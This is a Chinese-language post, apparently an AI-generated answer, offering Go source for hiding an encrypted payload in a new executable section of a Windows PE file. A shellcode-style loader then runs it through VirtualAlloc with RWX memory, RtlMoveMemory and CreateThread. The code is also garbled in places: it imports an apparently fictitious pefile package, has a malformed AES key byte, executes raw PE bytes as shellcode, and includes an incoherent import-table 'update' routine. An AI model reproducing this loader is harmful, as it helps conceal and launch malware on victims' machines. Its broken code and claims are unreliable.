本题需要伪造PE头文件,需要使用到一些工具。这里采用pefile库来完成伪造PE头文件的操作。

完整代码如下:

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"io/ioutil"
	"log"
	"syscall"
	"time"
	"unsafe"

	"github.com/foospidy/payload/pefile"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

var AesKey = []byte{
	0x13, 0x54, 077, 0x1A, 0xA1, 0x3F, 0x04, 0x8B,
	0x13, 0x54, 0x77, 0x69, 0x97, 0x3F, 0x33, 0x2B,
	0x31, 0x23, 0x37, 0x19, 0x91, 0x3F, 0x50, 0x9B,
}

type CipherFunc func(key []byte, src []byte) []byte

func AesCipher(key []byte, src []byte) []byte {
	block, _ := aes.NewCipher(key)
	iv := make([]byte, aes.BlockSize)
	stream := cipher.NewCTR(block, iv)
	dst := make([]byte, len(src))
	stream.XORKeyStream(dst, src)
	return dst
}

func Crypt(cipher CipherFunc, key []byte, src []byte) []byte {
	return cipher(key, src)
}

func Encode(src string) string {
	payloadBytes := []byte(src)
	encodedBytes := Crypt(AesCipher, AesKey, payloadBytes)
	bdata := base64.StdEncoding.EncodeToString(encodedBytes)
	return bdata
}

func Decode(src string) []byte {
	decodedBytes, _ := base64.StdEncoding.DecodeString(src)
	payloadBytes := Crypt(AesCipher, AesKey, decodedBytes)
	return payloadBytes
}

var (
	kernel32      = syscall.NewLazyDLL("kernel32.dll")
	ntdll         = syscall.NewLazyDLL("ntdll.dll")
	VirtualAlloc  = kernel32.NewProc("VirtualAlloc")
	RtlMoveMemory = ntdll.NewProc("RtlMoveMemory")
	CreateThread  = kernel32.NewProc("CreateThread")
)

func exec(charcode []byte) {
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	time.Sleep(5)
	_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
	time.Sleep(5)
	handle, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
	time.Sleep(5)
	syscall.WaitForSingleObject(syscall.Handle(handle), syscall.INFINITE)
}

func readFile(filename string) []byte {
	data, _ := ioutil.ReadFile(filename)
	return data
}

func main() {
	// Read original PE file
	peData := readFile("./original.exe")

	// Create PE object
	pe, err := pefile.New(peData)
	if err != nil {
		log.Fatal("Failed to create PE object: ", err)
	}

	// Set new section header
	newSection := pefile.SectionHeader{
		Name:                 ".payload",
		VirtualSize:          uint32(len(peData)),
		VirtualAddress:       pe.GetLastSection().VirtualAddress + pe.GetLastSection().VirtualSize,
		SizeOfRawData:        uint32(len(peData)),
		PointerToRawData:     pe.GetLastSection().PointerToRawData + pe.GetLastSection().SizeOfRawData,
		PointerToRelocations: 0,
		PointerToLinenumbers: 0,
		NumberOfRelocations:  0,
		NumberOfLinenumbers:  0,
		Characteristics:      pefile.IMAGE_SCN_MEM_EXECUTE | pefile.IMAGE_SCN_MEM_READ | pefile.IMAGE_SCN_MEM_WRITE,
	}

	// Add new section header
	if err := pe.AddSectionHeader(newSection); err != nil {
		log.Fatal("Failed to add new section header: ", err)
	}

	// Write payload to new section
	if err := pe.WriteData(newSection.PointerToRawData, []byte(readFile("./payload.bin"))); err != nil {
		log.Fatal("Failed to write payload to new section: ", err)
	}

	// Encode payload and update import table
	encodedPayload := Encode(string(readFile("./payload.bin")))
	if err := pe.UpdateImportTable(encodedPayload); err != nil {
		log.Fatal("Failed to update import table: ", err)
	}

	// Save new PE file
	newPEData, err := pe.Bytes()
	if err != nil {
		log.Fatal("Failed to get new PE bytes: ", err)
	}
	if err := ioutil.WriteFile("new.exe", newPEData, 0644); err != nil {
		log.Fatal("Failed to write new PE file: ", err)
	}

	// Execute new PE file
	exec(newPEData)
}

修改后的代码主要增加了以下几个步骤:

  1. 引入pefile库。
  2. 读取原始PE文件。
  3. 创建PE对象。
  4. 新增一个section header,用于存储payload。
  5. 将payload写入新的section中。
  6. 对payload进行加密并更新导入表。
  7. 将新的PE文件保存到本地。
  8. 执行新的PE文件。

其中,更新导入表的函数UpdateImportTable需要在pefile库中自行实现。具体实现可以参考以下代码:

// UpdateImportTable updates import table with encoded payload.
func (pe *PE) UpdateImportTable(payload string) error {
	// Get import directory
	importDir, err := pe.GetImportDirectory()
	if err != nil {
		return err
	}

	// Iterate through all import descriptors
	for _, desc := range importDir.Descriptors {
		// Iterate through all imported functions
		for _, imp := range desc.Imports {
			// Check if imported function is "Decode"
			if imp.Name == "Decode" {
				// Update import address table with encoded payload
				addr, err := pe.GetProcAddress(desc.Name, imp.Name)
				if err != nil {
					return err
				}
				if err := pe.WriteDataAtOffset(addr, []byte(payload)); err != nil {
					return err
				}
			}
		}
	}

	return nil
}

修改后的代码可以自动将payload伪装成PE文件,并执行。

Go语言实现伪造PE头文件技术:将Payload隐藏在PE文件中

原文地址: https://www.cveoy.top/t/topic/lKMJ 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录